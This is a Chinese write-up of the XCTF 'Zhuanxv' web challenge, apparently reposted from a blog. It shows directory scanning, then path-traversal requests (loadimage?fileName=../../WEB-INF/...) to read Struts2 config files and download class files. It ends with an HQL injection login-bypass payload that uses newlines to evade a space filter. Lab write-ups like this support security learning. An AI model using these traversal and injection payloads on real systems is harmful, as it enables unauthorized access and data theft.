首页 > Web开发 > 详细

攻防世界WEB之Zhuanxv

时间:2019-09-14 20:26:08      阅读:623      评论:0      收藏:0      [点我收藏+]

1.一开始就是一个时钟界面

技术分享图片

2.扫描目录发现/list 目录

技术分享图片

 

 

打开是后台登陆,看了一下源码,也没发现什么,焦灼。。。

技术分享图片

 

 3.百度上搜了一波wp,发现原来在css里面藏了东西

技术分享图片

 

 

后台的背景图片居然是这样读取的,估计可能有文件读取漏洞,

 另外,抓包发现页面是jsp写的

技术分享图片

 

 尝试读取配置文件web.xml

Payload:

http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/web.xml技术分享图片

 

 本地用notepad++打开

技术分享图片

 

配置文件里面写的是Struts2,搜了下Struts2目录结构,

参考链接:

https://blog.csdn.net/u010004082/article/details/79351459

https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html

apps-存放了所有Struts2的示例项目

docs-存放了所有Struts2与XWork的文档

lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件

src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放

技术分享图片

 

 继续读取struts.xml文件

Payload:

http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/classes/struts.xml

 

技术分享图片

 记事本打开struts.xml

技术分享图片

 

 这里class里面可以看到很多class类名,尝试了一下,都可以逐个下载,点号换成正斜杠,然后再在后面加个.class就可以下载了,下载后用jd反编译class文件

http://111.198.29.45:32744/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

技术分享图片

 

 这里发现一个user.hbm.xml

逐个下载配置文件中的class,反编译一下

技术分享图片

 

 这里对用户名进行了过滤,过滤空格和等号

技术分享图片

 

 

反编译之后可以直接看到查询语句(这里的sql语句与mysql不太一样,使用的是HSQL)

hsql参考这篇文章,与mysql语句差别不大,但是也是有区别的

https://www.cnblogs.com/fengyouheng/p/11013013.html

4.注入

 可以尝试构造万能密码

技术分享图片

 

 蓝色这一块就是拼接的语句

这里对空格过滤了考虑用换行符稍微处理一下

Payload:

/zhuanxvlogin?user.name=admin%27%0Aor%0A%271%27%3E%270‘%0Aor%0Aname%0Alike%0A‘admin&user.password=1

登陆进去了,但是没啥用,flag是在数据库里面

技术分享图片

 

 后面的盲注语句直接参考的wp的

https://www.jianshu.com/p/b940d0aaa9fa

https://xz.aliyun.com/t/2405#toc-27

flag如下

技术分享图片

嗯,最后说一句,提交的时候sctf需要大写。

攻防世界WEB之Zhuanxv

原文:https://www.cnblogs.com/mke2fs/p/11519039.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!